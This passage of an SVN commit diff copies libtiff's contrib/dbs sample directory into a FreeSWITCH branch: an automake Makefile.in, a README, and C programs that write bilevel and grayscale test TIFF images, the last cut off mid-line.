+GREP = @GREP@
+HAVE_CXX_FALSE = @HAVE_CXX_FALSE@
+HAVE_CXX_TRUE = @HAVE_CXX_TRUE@
+HAVE_OPENGL_FALSE = @HAVE_OPENGL_FALSE@
+HAVE_OPENGL_TRUE = @HAVE_OPENGL_TRUE@
+HAVE_RPATH_FALSE = @HAVE_RPATH_FALSE@
+HAVE_RPATH_TRUE = @HAVE_RPATH_TRUE@
+INSTALL_DATA = @INSTALL_DATA@
+INSTALL_PROGRAM = @INSTALL_PROGRAM@
+INSTALL_SCRIPT = @INSTALL_SCRIPT@
+INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@
+LD = @LD@
+LDFLAGS = @LDFLAGS@
+LIBDIR = @LIBDIR@
+LIBOBJS = @LIBOBJS@
+LIBS = @LIBS@
+LIBTIFF_ALPHA_VERSION = @LIBTIFF_ALPHA_VERSION@
+LIBTIFF_DOCDIR = @LIBTIFF_DOCDIR@
+LIBTIFF_MAJOR_VERSION = @LIBTIFF_MAJOR_VERSION@
+LIBTIFF_MICRO_VERSION = @LIBTIFF_MICRO_VERSION@
+LIBTIFF_MINOR_VERSION = @LIBTIFF_MINOR_VERSION@
+LIBTIFF_RELEASE_DATE = @LIBTIFF_RELEASE_DATE@
+LIBTIFF_VERSION = @LIBTIFF_VERSION@
+LIBTIFF_VERSION_INFO = @LIBTIFF_VERSION_INFO@
+LIBTOOL = @LIBTOOL@
+LN_S = @LN_S@
+LTLIBOBJS = @LTLIBOBJS@
+MAINT = @MAINT@
+MAINTAINER_MODE_FALSE = @MAINTAINER_MODE_FALSE@
+MAINTAINER_MODE_TRUE = @MAINTAINER_MODE_TRUE@
+MAKEINFO = @MAKEINFO@
+NM = @NM@
+OBJDUMP = @OBJDUMP@
+OBJEXT = @OBJEXT@
+PACKAGE = @PACKAGE@
+PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@
+PACKAGE_NAME = @PACKAGE_NAME@
+PACKAGE_STRING = @PACKAGE_STRING@
+PACKAGE_TARNAME = @PACKAGE_TARNAME@
+PACKAGE_VERSION = @PACKAGE_VERSION@
+PATH_SEPARATOR = @PATH_SEPARATOR@
+PTHREAD_CC = @PTHREAD_CC@
+PTHREAD_CFLAGS = @PTHREAD_CFLAGS@
+PTHREAD_LIBS = @PTHREAD_LIBS@
+RANLIB = @RANLIB@
+SED = @SED@
+SET_MAKE = @SET_MAKE@
+SHELL = @SHELL@
+STRIP = @STRIP@
+VERSION = @VERSION@
+X_CFLAGS = @X_CFLAGS@
+X_EXTRA_LIBS = @X_EXTRA_LIBS@
+X_LIBS = @X_LIBS@
+X_PRE_LIBS = @X_PRE_LIBS@
+ac_ct_AR = @ac_ct_AR@
+ac_ct_AS = @ac_ct_AS@
+ac_ct_CC = @ac_ct_CC@
+ac_ct_CXX = @ac_ct_CXX@
+ac_ct_DLLTOOL = @ac_ct_DLLTOOL@
+ac_ct_DUMPBIN = @ac_ct_DUMPBIN@
+ac_ct_OBJDUMP = @ac_ct_OBJDUMP@
+ac_ct_RANLIB = @ac_ct_RANLIB@
+ac_ct_STRIP = @ac_ct_STRIP@
+acx_pthread_config = @acx_pthread_config@
+am__fastdepCC_FALSE = @am__fastdepCC_FALSE@
+am__fastdepCC_TRUE = @am__fastdepCC_TRUE@
+am__fastdepCXX_FALSE = @am__fastdepCXX_FALSE@
+am__fastdepCXX_TRUE = @am__fastdepCXX_TRUE@
+am__include = @am__include@
+am__leading_dot = @am__leading_dot@
+am__quote = @am__quote@
+am__tar = @am__tar@
+am__untar = @am__untar@
+bindir = @bindir@
+build = @build@
+build_alias = @build_alias@
+build_cpu = @build_cpu@
+build_os = @build_os@
+build_vendor = @build_vendor@
+datadir = @datadir@
+exec_prefix = @exec_prefix@
+host = @host@
+host_alias = @host_alias@
+host_cpu = @host_cpu@
+host_os = @host_os@
+host_vendor = @host_vendor@
+includedir = @includedir@
+infodir = @infodir@
+install_sh = @install_sh@
+libdir = @libdir@
+libexecdir = @libexecdir@
+localstatedir = @localstatedir@
+lt_ECHO = @lt_ECHO@
+mandir = @mandir@
+mkdir_p = @mkdir_p@
+oldincludedir = @oldincludedir@
+prefix = @prefix@
+program_transform_name = @program_transform_name@
+sbindir = @sbindir@
+sharedstatedir = @sharedstatedir@
+sysconfdir = @sysconfdir@
+target = @target@
+target_alias = @target_alias@
+target_cpu = @target_cpu@
+target_os = @target_os@
+target_vendor = @target_vendor@
+SUBDIRS = xtiff
+LIBTIFF = $(top_builddir)/libtiff/libtiff.la
+EXTRA_DIST = README
+tiff_bi_SOURCES = tiff-bi.c
+tiff_bi_LDADD = $(LIBTIFF)
+tiff_grayscale_SOURCES = tiff-grayscale.c
+tiff_grayscale_LDADD = $(LIBTIFF)
+tiff_palette_SOURCES = tiff-palette.c
+tiff_palette_LDADD = $(LIBTIFF)
+tiff_rgb_SOURCES = tiff-rgb.c
+tiff_rgb_LDADD = $(LIBTIFF)
+INCLUDES = -I$(top_srcdir)/libtiff
+all: all-recursive
+
+.SUFFIXES:
+.SUFFIXES: .c .lo .o .obj
+$(srcdir)/Makefile.in: @MAINTAINER_MODE_TRUE@ $(srcdir)/Makefile.am  $(am__configure_deps)
+	@for dep in $?; do \
+	  case '$(am__configure_deps)' in \
+	    *$$dep*) \
+	      cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh \
+		&& exit 0; \
+	      exit 1;; \
+	  esac; \
+	done; \
+	echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign  contrib/dbs/Makefile'; \
+	cd $(top_srcdir) && \
+	  $(AUTOMAKE) --foreign  contrib/dbs/Makefile
+.PRECIOUS: Makefile
+Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status
+	@case '$?' in \
+	  *config.status*) \
+	    cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \
+	  *) \
+	    echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)'; \
+	    cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe);; \
+	esac;
+
+$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+$(top_srcdir)/configure: @MAINTAINER_MODE_TRUE@ $(am__configure_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+$(ACLOCAL_M4): @MAINTAINER_MODE_TRUE@ $(am__aclocal_m4_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+clean-noinstPROGRAMS:
+	@list='$(noinst_PROGRAMS)'; for p in $$list; do \
+	  f=`echo $$p|sed 's/$(EXEEXT)$$//'`; \
+	  echo " rm -f $$p $$f"; \
+	  rm -f $$p $$f ; \
+	done
+tiff-bi$(EXEEXT): $(tiff_bi_OBJECTS) $(tiff_bi_DEPENDENCIES) 
+	@rm -f tiff-bi$(EXEEXT)
+	$(LINK) $(tiff_bi_LDFLAGS) $(tiff_bi_OBJECTS) $(tiff_bi_LDADD) $(LIBS)
+tiff-grayscale$(EXEEXT): $(tiff_grayscale_OBJECTS) $(tiff_grayscale_DEPENDENCIES) 
+	@rm -f tiff-grayscale$(EXEEXT)
+	$(LINK) $(tiff_grayscale_LDFLAGS) $(tiff_grayscale_OBJECTS) $(tiff_grayscale_LDADD) $(LIBS)
+tiff-palette$(EXEEXT): $(tiff_palette_OBJECTS) $(tiff_palette_DEPENDENCIES) 
+	@rm -f tiff-palette$(EXEEXT)
+	$(LINK) $(tiff_palette_LDFLAGS) $(tiff_palette_OBJECTS) $(tiff_palette_LDADD) $(LIBS)
+tiff-rgb$(EXEEXT): $(tiff_rgb_OBJECTS) $(tiff_rgb_DEPENDENCIES) 
+	@rm -f tiff-rgb$(EXEEXT)
+	$(LINK) $(tiff_rgb_LDFLAGS) $(tiff_rgb_OBJECTS) $(tiff_rgb_LDADD) $(LIBS)
+
+mostlyclean-compile:
+	-rm -f *.$(OBJEXT)
+
+distclean-compile:
+	-rm -f *.tab.c
+
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tiff-bi.Po@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tiff-grayscale.Po@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tiff-palette.Po@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tiff-rgb.Po@am__quote@
+
+.c.o:
+@am__fastdepCC_TRUE@	if $(COMPILE) -MT $@ -MD -MP -MF "$(DEPDIR)/$*.Tpo" -c -o $@ $<; \
+@am__fastdepCC_TRUE@	then mv -f "$(DEPDIR)/$*.Tpo" "$(DEPDIR)/$*.Po"; else rm -f "$(DEPDIR)/$*.Tpo"; exit 1; fi
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	source='$<' object='$@' libtool=no @AMDEPBACKSLASH@
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
+@am__fastdepCC_FALSE@	$(COMPILE) -c $<
+
+.c.obj:
+@am__fastdepCC_TRUE@	if $(COMPILE) -MT $@ -MD -MP -MF "$(DEPDIR)/$*.Tpo" -c -o $@ `$(CYGPATH_W) '$<'`; \
+@am__fastdepCC_TRUE@	then mv -f "$(DEPDIR)/$*.Tpo" "$(DEPDIR)/$*.Po"; else rm -f "$(DEPDIR)/$*.Tpo"; exit 1; fi
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	source='$<' object='$@' libtool=no @AMDEPBACKSLASH@
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
+@am__fastdepCC_FALSE@	$(COMPILE) -c `$(CYGPATH_W) '$<'`
+
+.c.lo:
+@am__fastdepCC_TRUE@	if $(LTCOMPILE) -MT $@ -MD -MP -MF "$(DEPDIR)/$*.Tpo" -c -o $@ $<; \
+@am__fastdepCC_TRUE@	then mv -f "$(DEPDIR)/$*.Tpo" "$(DEPDIR)/$*.Plo"; else rm -f "$(DEPDIR)/$*.Tpo"; exit 1; fi
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	source='$<' object='$@' libtool=yes @AMDEPBACKSLASH@
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
+@am__fastdepCC_FALSE@	$(LTCOMPILE) -c -o $@ $<
+
+mostlyclean-libtool:
+	-rm -f *.lo
+
+clean-libtool:
+	-rm -rf .libs _libs
+
+distclean-libtool:
+	-rm -f libtool
+uninstall-info-am:
+
+# This directory's subdirectories are mostly independent; you can cd
+# into them and run `make' without going through this Makefile.
+# To change the values of `make' variables: instead of editing Makefiles,
+# (1) if the variable is set in `config.status', edit `config.status'
+#     (which will cause the Makefiles to be regenerated when you run `make');
+# (2) otherwise, pass the desired values on the `make' command line.
+$(RECURSIVE_TARGETS):
+	@failcom='exit 1'; \
+	for f in x $$MAKEFLAGS; do \
+	  case $$f in \
+	    *=* | --[!k]*);; \
+	    *k*) failcom='fail=yes';; \
+	  esac; \
+	done; \
+	dot_seen=no; \
+	target=`echo $@ | sed s/-recursive//`; \
+	list='$(SUBDIRS)'; for subdir in $$list; do \
+	  echo "Making $$target in $$subdir"; \
+	  if test "$$subdir" = "."; then \
+	    dot_seen=yes; \
+	    local_target="$$target-am"; \
+	  else \
+	    local_target="$$target"; \
+	  fi; \
+	  (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) $$local_target) \
+	  || eval $$failcom; \
+	done; \
+	if test "$$dot_seen" = "no"; then \
+	  $(MAKE) $(AM_MAKEFLAGS) "$$target-am" || exit 1; \
+	fi; test -z "$$fail"
+
+mostlyclean-recursive clean-recursive distclean-recursive \
+maintainer-clean-recursive:
+	@failcom='exit 1'; \
+	for f in x $$MAKEFLAGS; do \
+	  case $$f in \
+	    *=* | --[!k]*);; \
+	    *k*) failcom='fail=yes';; \
+	  esac; \
+	done; \
+	dot_seen=no; \
+	case "$@" in \
+	  distclean-* | maintainer-clean-*) list='$(DIST_SUBDIRS)' ;; \
+	  *) list='$(SUBDIRS)' ;; \
+	esac; \
+	rev=''; for subdir in $$list; do \
+	  if test "$$subdir" = "."; then :; else \
+	    rev="$$subdir $$rev"; \
+	  fi; \
+	done; \
+	rev="$$rev ."; \
+	target=`echo $@ | sed s/-recursive//`; \
+	for subdir in $$rev; do \
+	  echo "Making $$target in $$subdir"; \
+	  if test "$$subdir" = "."; then \
+	    local_target="$$target-am"; \
+	  else \
+	    local_target="$$target"; \
+	  fi; \
+	  (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) $$local_target) \
+	  || eval $$failcom; \
+	done && test -z "$$fail"
+tags-recursive:
+	list='$(SUBDIRS)'; for subdir in $$list; do \
+	  test "$$subdir" = . || (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) tags); \
+	done
+ctags-recursive:
+	list='$(SUBDIRS)'; for subdir in $$list; do \
+	  test "$$subdir" = . || (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) ctags); \
+	done
+
+ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES)
+	list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \
+	unique=`for i in $$list; do \
+	    if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
+	  done | \
+	  $(AWK) '    { files[$$0] = 1; } \
+	       END { for (i in files) print i; }'`; \
+	mkid -fID $$unique
+tags: TAGS
+
+TAGS: tags-recursive $(HEADERS) $(SOURCES)  $(TAGS_DEPENDENCIES) \
+		$(TAGS_FILES) $(LISP)
+	tags=; \
+	here=`pwd`; \
+	if ($(ETAGS) --etags-include --version) >/dev/null 2>&1; then \
+	  include_option=--etags-include; \
+	  empty_fix=.; \
+	else \
+	  include_option=--include; \
+	  empty_fix=; \
+	fi; \
+	list='$(SUBDIRS)'; for subdir in $$list; do \
+	  if test "$$subdir" = .; then :; else \
+	    test ! -f $$subdir/TAGS || \
+	      tags="$$tags $$include_option=$$here/$$subdir/TAGS"; \
+	  fi; \
+	done; \
+	list='$(SOURCES) $(HEADERS)  $(LISP) $(TAGS_FILES)'; \
+	unique=`for i in $$list; do \
+	    if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
+	  done | \
+	  $(AWK) '    { files[$$0] = 1; } \
+	       END { for (i in files) print i; }'`; \
+	if test -z "$(ETAGS_ARGS)$$tags$$unique"; then :; else \
+	  test -n "$$unique" || unique=$$empty_fix; \
+	  $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \
+	    $$tags $$unique; \
+	fi
+ctags: CTAGS
+CTAGS: ctags-recursive $(HEADERS) $(SOURCES)  $(TAGS_DEPENDENCIES) \
+		$(TAGS_FILES) $(LISP)
+	tags=; \
+	here=`pwd`; \
+	list='$(SOURCES) $(HEADERS)  $(LISP) $(TAGS_FILES)'; \
+	unique=`for i in $$list; do \
+	    if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
+	  done | \
+	  $(AWK) '    { files[$$0] = 1; } \
+	       END { for (i in files) print i; }'`; \
+	test -z "$(CTAGS_ARGS)$$tags$$unique" \
+	  || $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \
+	     $$tags $$unique
+
+GTAGS:
+	here=`$(am__cd) $(top_builddir) && pwd` \
+	  && cd $(top_srcdir) \
+	  && gtags -i $(GTAGS_ARGS) $$here
+
+distclean-tags:
+	-rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags
+
+distdir: $(DISTFILES)
+	@srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`; \
+	topsrcdirstrip=`echo "$(top_srcdir)" | sed 's|.|.|g'`; \
+	list='$(DISTFILES)'; for file in $$list; do \
+	  case $$file in \
+	    $(srcdir)/*) file=`echo "$$file" | sed "s|^$$srcdirstrip/||"`;; \
+	    $(top_srcdir)/*) file=`echo "$$file" | sed "s|^$$topsrcdirstrip/|$(top_builddir)/|"`;; \
+	  esac; \
+	  if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \
+	  dir=`echo "$$file" | sed -e 's,/[^/]*$$,,'`; \
+	  if test "$$dir" != "$$file" && test "$$dir" != "."; then \
+	    dir="/$$dir"; \
+	    $(mkdir_p) "$(distdir)$$dir"; \
+	  else \
+	    dir=''; \
+	  fi; \
+	  if test -d $$d/$$file; then \
+	    if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \
+	      cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \
+	    fi; \
+	    cp -pR $$d/$$file $(distdir)$$dir || exit 1; \
+	  else \
+	    test -f $(distdir)/$$file \
+	    || cp -p $$d/$$file $(distdir)/$$file \
+	    || exit 1; \
+	  fi; \
+	done
+	list='$(DIST_SUBDIRS)'; for subdir in $$list; do \
+	  if test "$$subdir" = .; then :; else \
+	    test -d "$(distdir)/$$subdir" \
+	    || $(mkdir_p) "$(distdir)/$$subdir" \
+	    || exit 1; \
+	    distdir=`$(am__cd) $(distdir) && pwd`; \
+	    top_distdir=`$(am__cd) $(top_distdir) && pwd`; \
+	    (cd $$subdir && \
+	      $(MAKE) $(AM_MAKEFLAGS) \
+	        top_distdir="$$top_distdir" \
+	        distdir="$$distdir/$$subdir" \
+	        distdir) \
+	      || exit 1; \
+	  fi; \
+	done
+check-am: all-am
+check: check-recursive
+all-am: Makefile $(PROGRAMS)
+installdirs: installdirs-recursive
+installdirs-am:
+install: install-recursive
+install-exec: install-exec-recursive
+install-data: install-data-recursive
+uninstall: uninstall-recursive
+
+install-am: all-am
+	@$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am
+
+installcheck: installcheck-recursive
+install-strip:
+	$(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \
+	  install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \
+	  `test -z '$(STRIP)' || \
+	    echo "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'"` install
+mostlyclean-generic:
+
+clean-generic:
+
+distclean-generic:
+	-test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES)
+
+maintainer-clean-generic:
+	@echo "This command is intended for maintainers to use"
+	@echo "it deletes files that may require special tools to rebuild."
+clean: clean-recursive
+
+clean-am: clean-generic clean-libtool clean-noinstPROGRAMS \
+	mostlyclean-am
+
+distclean: distclean-recursive
+	-rm -rf ./$(DEPDIR)
+	-rm -f Makefile
+distclean-am: clean-am distclean-compile distclean-generic \
+	distclean-libtool distclean-tags
+
+dvi: dvi-recursive
+
+dvi-am:
+
+html: html-recursive
+
+info: info-recursive
+
+info-am:
+
+install-data-am:
+
+install-exec-am:
+
+install-info: install-info-recursive
+
+install-man:
+
+installcheck-am:
+
+maintainer-clean: maintainer-clean-recursive
+	-rm -rf ./$(DEPDIR)
+	-rm -f Makefile
+maintainer-clean-am: distclean-am maintainer-clean-generic
+
+mostlyclean: mostlyclean-recursive
+
+mostlyclean-am: mostlyclean-compile mostlyclean-generic \
+	mostlyclean-libtool
+
+pdf: pdf-recursive
+
+pdf-am:
+
+ps: ps-recursive
+
+ps-am:
+
+uninstall-am: uninstall-info-am
+
+uninstall-info: uninstall-info-recursive
+
+.PHONY: $(RECURSIVE_TARGETS) CTAGS GTAGS all all-am check check-am \
+	clean clean-generic clean-libtool clean-noinstPROGRAMS \
+	clean-recursive ctags ctags-recursive distclean \
+	distclean-compile distclean-generic distclean-libtool \
+	distclean-recursive distclean-tags distdir dvi dvi-am html \
+	html-am info info-am install install-am install-data \
+	install-data-am install-exec install-exec-am install-info \
+	install-info-am install-man install-strip installcheck \
+	installcheck-am installdirs installdirs-am maintainer-clean \
+	maintainer-clean-generic maintainer-clean-recursive \
+	mostlyclean mostlyclean-compile mostlyclean-generic \
+	mostlyclean-libtool mostlyclean-recursive pdf pdf-am ps ps-am \
+	tags tags-recursive uninstall uninstall-am uninstall-info-am
+
+# Tell versions [3.59,3.63) of GNU make to not export all variables.
+# Otherwise a system limit (for SysV at least) may be exceeded.
+.NOEXPORT:

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/README

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/README (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/dbs/README) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/README	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,7 @@
+Wed May  9 09:11:35 PDT 1990
+
+This directory contains programs from Dan Sears
+(dbs@decwrl.dec.com).  Contact him directly if
+you have questions/problems.
+
+	Sam

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/tiff-bi.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/tiff-bi.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/dbs/tiff-bi.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/tiff-bi.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/tiff-bi.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,84 @@
+/* $Id: tiff-bi.c,v 1.2 2004/05/03 16:46:36 dron Exp $ */
+
+/*
+ * tiff-bi.c -- create a Class B (bilevel) TIFF file
+ *
+ * Copyright 1990 by Digital Equipment Corporation, Maynard, Massachusetts.
+ *
+ *                        All Rights Reserved
+ *
+ * Permission to use, copy, modify, and distribute this software and its
+ * documentation for any purpose and without fee is hereby granted,
+ * provided that the above copyright notice appear in all copies and that
+ * both that copyright notice and this permission notice appear in
+ * supporting documentation, and that the name of Digital not be
+ * used in advertising or publicity pertaining to distribution of the
+ * software without specific, written prior permission.
+ *
+ * DIGITAL DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING
+ * ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL
+ * DIGITAL BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR
+ * ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION,
+ * ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS
+ * SOFTWARE.
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+
+#include "tiffio.h"
+
+#define WIDTH       512
+#define HEIGHT      WIDTH
+
+int main(int argc, char **argv)
+{
+    int             i;
+    unsigned char * scan_line;
+    TIFF *          tif;
+
+    if (argc != 2) {
+        fprintf(stderr, "Usage: %s tiff-image\n", argv[0]);
+        return 0;
+    }
+
+    if ((tif = TIFFOpen(argv[1], "w")) == NULL) {
+        fprintf(stderr, "can't open %s as a TIFF file\n", argv[1]);
+        return 0;
+    }
+
+    TIFFSetField(tif, TIFFTAG_IMAGEWIDTH, WIDTH);
+    TIFFSetField(tif, TIFFTAG_IMAGELENGTH, HEIGHT);
+    TIFFSetField(tif, TIFFTAG_BITSPERSAMPLE, 1);
+    TIFFSetField(tif, TIFFTAG_COMPRESSION, COMPRESSION_NONE);
+    TIFFSetField(tif, TIFFTAG_PHOTOMETRIC, PHOTOMETRIC_MINISBLACK);
+    TIFFSetField(tif, TIFFTAG_SAMPLESPERPIXEL, 1);
+    TIFFSetField(tif, TIFFTAG_ROWSPERSTRIP, 1);
+    TIFFSetField(tif, TIFFTAG_PLANARCONFIG, PLANARCONFIG_CONTIG);
+    TIFFSetField(tif, TIFFTAG_RESOLUTIONUNIT, RESUNIT_NONE);
+
+    scan_line = (unsigned char *) malloc(WIDTH / 8);
+
+    for (i = 0; i < (WIDTH / 8) / 2; i++)
+        scan_line[i] = 0;
+
+    for (i = (WIDTH / 8) / 2; i < (WIDTH / 8); i++)
+        scan_line[i] = 255;
+
+    for (i = 0; i < HEIGHT / 2; i++)
+        TIFFWriteScanline(tif, scan_line, i, 0);
+
+    for (i = 0; i < (WIDTH / 8) / 2; i++)
+        scan_line[i] = 255;
+
+    for (i = (WIDTH / 8) / 2; i < (WIDTH / 8); i++)
+        scan_line[i] = 0;
+
+    for (i = HEIGHT / 2; i < HEIGHT; i++)
+        TIFFWriteScanline(tif, scan_line, i, 0);
+
+    free(scan_line);
+    TIFFClose(tif);
+    return 0;
+}

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/tiff-grayscale.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/tiff-grayscale.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/dbs/tiff-grayscale.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/tiff-grayscale.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/tiff-grayscale.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,139 @@
+/* $Id: tiff-grayscale.c,v 1.4 2004/09/03 08:26:08 dron Exp $ */
+
+/*
+ * tiff-grayscale.c -- create a Class G (grayscale) TIFF file
+ *      with a gray response curve in linear optical density
+ *
+ * Copyright 1990 by Digital Equipment Corporation, Maynard, Massachusetts.
+ *
+ *                        All Rights Reserved
+ *
+ * Permission to use, copy, modify, and distribute this software and its
+ * documentation for any purpose and without fee is hereby granted,
+ * provided that the above copyright notice appear in all copies and that
+ * both that copyright notice and this permission notice appear in
+ * supporting documentation, and that the name of Digital not be
+ * used in advertising or publicity pertaining to distribution of the
+ * software without specific, written prior permission.
+ *
+ * DIGITAL DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING
+ * ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL
+ * DIGITAL BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR
+ * ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION,
+ * ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS
+ * SOFTWARE.
+ */
+
+#include <math.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+#include "tiffio.h"
+
+#define WIDTH       512
+#define HEIGHT      WIDTH
+
+char *              programName;
+void                Usage();
+
+int main(int argc, char **argv)
+{
+    int             bits_per_pixel = 8, cmsize, i, j, k,
+                    gray_index, chunk_size = 32, nchunks = 16;
+    unsigned char * scan_line;
+    uint16 *        gray;
+    float           refblackwhite[2*1];
+    TIFF *          tif;
+
+    programName = argv[0];
+
+    if (argc != 4)
+        Usage();
+
+    if (!strcmp(argv[1], "-depth"))
+         bits_per_pixel = atoi(argv[2]);
+    else
+         Usage();
+
+    switch (bits_per_pixel) {
+        case 8:
+            nchunks = 16;
+            chunk_size = 32;
+            break;
+        case 4:
+            nchunks = 4;
+            chunk_size = 128;
+            break;
+        case 2:
+            nchunks = 2;
+            chunk_size = 256;
+            break;
+        default:
+            Usage();
+    }
+
+    cmsize = nchunks * nchunks;
+    gray = (uint16 *) malloc(cmsize * sizeof(uint16));
+
+    gray[0] = 3000;
+    for (i = 1; i < cmsize; i++)
+        gray[i] = (uint16) (-log10((double) i / (cmsize - 1)) * 1000);
+
+    refblackwhite[0] = 0.0;
+    refblackwhite[1] = (float)((1L<<bits_per_pixel) - 1);
+
+    if ((tif = TIFFOpen(argv[3], "w")) == NULL) {
+        fprintf(stderr, "can't open %s as a TIFF file\n", argv[3]);
+        return 0;
+    }
+
+    TIFFSetField(tif, TIFFTAG_IMAGEWIDTH, WIDTH);
+    TIFFSetField(tif, TIFFTAG_IMAGELENGTH, HEIGHT);
+    TIFFSetField(tif, TIFFTAG_BITSPERSAMPLE, bits_per_pixel);
+    TIFFSetField(tif, TIFFTAG_COMPRESSION, COMPRESSION_NONE);
+    TIFFSetField(tif, TIFFTAG_PHOTOMETRIC, PHOTOMETRIC_MINISBLACK);
+    TIFFSetField(tif, TIFFTAG_SAMPLESPERPIXEL, 1);
+    TIFFSetField(tif, TIFFTAG_ROWSPERSTRIP, 1);
+    TIFFSetField(tif, TIFFTAG_PLANARCONFIG, PLANARCONFIG_CONTIG);
+    TIFFSetField(tif, TIFFTAG_REFERENCEBLACKWHITE, refblackwhite);
+    TIFFSetField(tif, TIFFTAG_TRANSFERFUNCTION, gray);
+    TIFFSetField(tif, TIFFTAG_RESOLUTIONUNIT, RESUNIT_NONE);
+
+    scan_line = (unsigned char *) malloc(WIDTH / (8 / bits_per_pixel));
+
+    for (i = 0; i < HEIGHT; i++) {
+        for (j = 0, k = 0; j < WIDTH;) {
+            gray_index = (j / chunk_size) + ((i / chunk_size) * nchunks);
+
+            switch (bits_per_pixel) {
+            case 8:
+                scan_line[k++] = gray_index;
+                j++;
+                break;
+            case 4:
+                scan_line[k++] = (gray_index << 4) + gray_index;
+                j += 2;
+                break;
+            case 2:
+                scan_line[k++] = (gray_index << 6) + (gray_index << 4)
